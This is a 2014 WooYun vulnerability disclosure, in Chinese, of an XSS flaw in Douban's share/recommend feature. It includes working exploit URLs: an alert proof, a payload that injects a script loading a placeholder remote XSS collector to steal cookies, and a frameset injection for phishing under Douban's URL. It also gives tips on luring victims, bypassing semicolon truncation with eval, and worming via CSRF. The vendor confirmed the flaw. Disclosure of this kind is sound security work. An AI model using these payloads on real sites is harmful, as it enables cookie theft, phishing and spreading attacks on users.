[公开漏洞]豆瓣某功能设计缺陷导致可钓密码及xss攻击

豆瓣某功能设计缺陷导致可钓密码及xss攻击 相关厂商： 豆瓣 漏洞作者：华莱士 提交时间：2014-04-12 13:58 公开时间：2014-05-27 13:58 漏洞类型：xss跨站脚本攻击 危害等级：高 自评Rank：16 漏洞状态： 厂商已经确认 漏洞来源：http://www.wooyun.org Tags标签： xss 钓鱼 漏洞详情 披露状态：

2014-04-12：细节已通知厂商并且等待厂商处理中
2014-04-12：厂商已经确认，细节仅向厂商公开
2014-04-22：细节向核心白帽子及相关领域专家公开
2014-05-02：细节向普通白帽子公开
2014-05-12：细节向实习白帽子公开
2014-05-27：细节向公众公开

简要描述：

苏菲弹力防简介侧漏

详细说明：

1:像豆瓣广播这种关键位置应该早就被里里外外挖了个遍,不过还是遇到一个遗漏点,在"推荐"到豆瓣广播这一功能中,desc参数为空时则href参数能够造成xss攻击,由于触发容易且位置显眼很容易引发大范围蠕虫



示例1

http://www.douban.com/share/recommend?sanity_key=_da6c6&apikey=&name=&image=http://img3.douban.com/view/status/median/public/d20a54a640f40eb.jpg&redir=&btn_text=%E6%8E%A8%E8%8D%90&href=javascript:alert('heheworld')&type=&properties={}&desc=

之后假设这样的情况,当这处参数被嵌入恶意代码并进行一番"易容"诱惑受害者去点击,例如这里我通过检索找了个公众热度较高的豆瓣红人,通过推荐她的发言,文章,等内容后修改特定参数,借此人名义可去迷惑受害者,无论是点击图片还是描述都会立即触发,测试中无视谷歌浏览器的filter,即便会有警惕的人将其识破,但对用户基数庞大的sns社区来说,这种比例又是多少,一旦被人用来进行csrf,让查看这则动态的受害者自动发送携恶意代码的广播又会造成什么后果

示例2:http://www.douban.com/share/recommend?sanity_key=_da6c6&apikey=&name=浮力森林的相册&image=http://img3.douban.com/view/status/median/public/d20a54a640f40eb.jpg&redir=&btn_text=%E6%8E%A8%E8%8D%90&href=javascript:'胸太大也会有很多烦恼的,穿什么都显胖,我觉得女生脚好看也是很性感的,诸如此类写一些吸引性的标题,点击文字或图片即触发,多凑些字把后面的代码挤走就',x=document.createElement('script');x.setAttribute('src', 'xss收信地址');document.documentElement.appendChild(x)&type=&properties={}&desc=

经测试代码中的;号会截断xss语句,所以得用eval处理下,或是用不带分号的写法,此处仅证明可以触发xss成功获取cookie

2:如果这个xss被用来实施钓鱼呢?目前有不少比较猥琐的钓鱼页面都是直接另存原页面的源码,在其基础上稍加修改而来的,再以个什么借口让用户重新登陆,那么如果利用xss将这样的钓鱼内容在原页面上输出,就可以进一步做到url欺骗的效果

示例3:http://www.douban.com/share/recommend?sanity_key=_da6c6&apikey=&name=&image=http://img3.douban.com/view/status/median/public/d20a54a640f40eb.jpg&redir=&btn_text=%E6%8E%A8%E8%8D%90&href=javascript:document.write("<frameset cols=\"0,*\" frameborder=\"NO\" border=\"0\" framespacing=\"0\"><frame src=\"/null.htm\" scrolling=\"NO\" noresize><frame src=\"http://www.zhihu.com/\"></frameset>")&type=&properties={}&desc=

这里加载了知乎的页面却仍保留了豆瓣的url,能够是知乎也当然可以是上面提到的那种页面,外貌上完全一致加上url毫无破绽,没有个血轮眼很难识破,而且在Chrome下查看源码时也也仅会显示原豆瓣的源码,如果这样的攻击在结束后跳转到真实的地址,基本上就能不留痕迹的完成钓鱼过程,一旦配合csrf进行大范围蠕虫后果可想而知



另外想问下集齐多少颗豆瓣的洞能够召唤礼物

漏洞证明：

修复方案：

你们专业

版权声明：转载请注明来源 华莱士@乌云 漏洞回应 厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-04-12 20:32

厂商回复：

谢谢反馈，立即组织修复~

最新状态：

暂无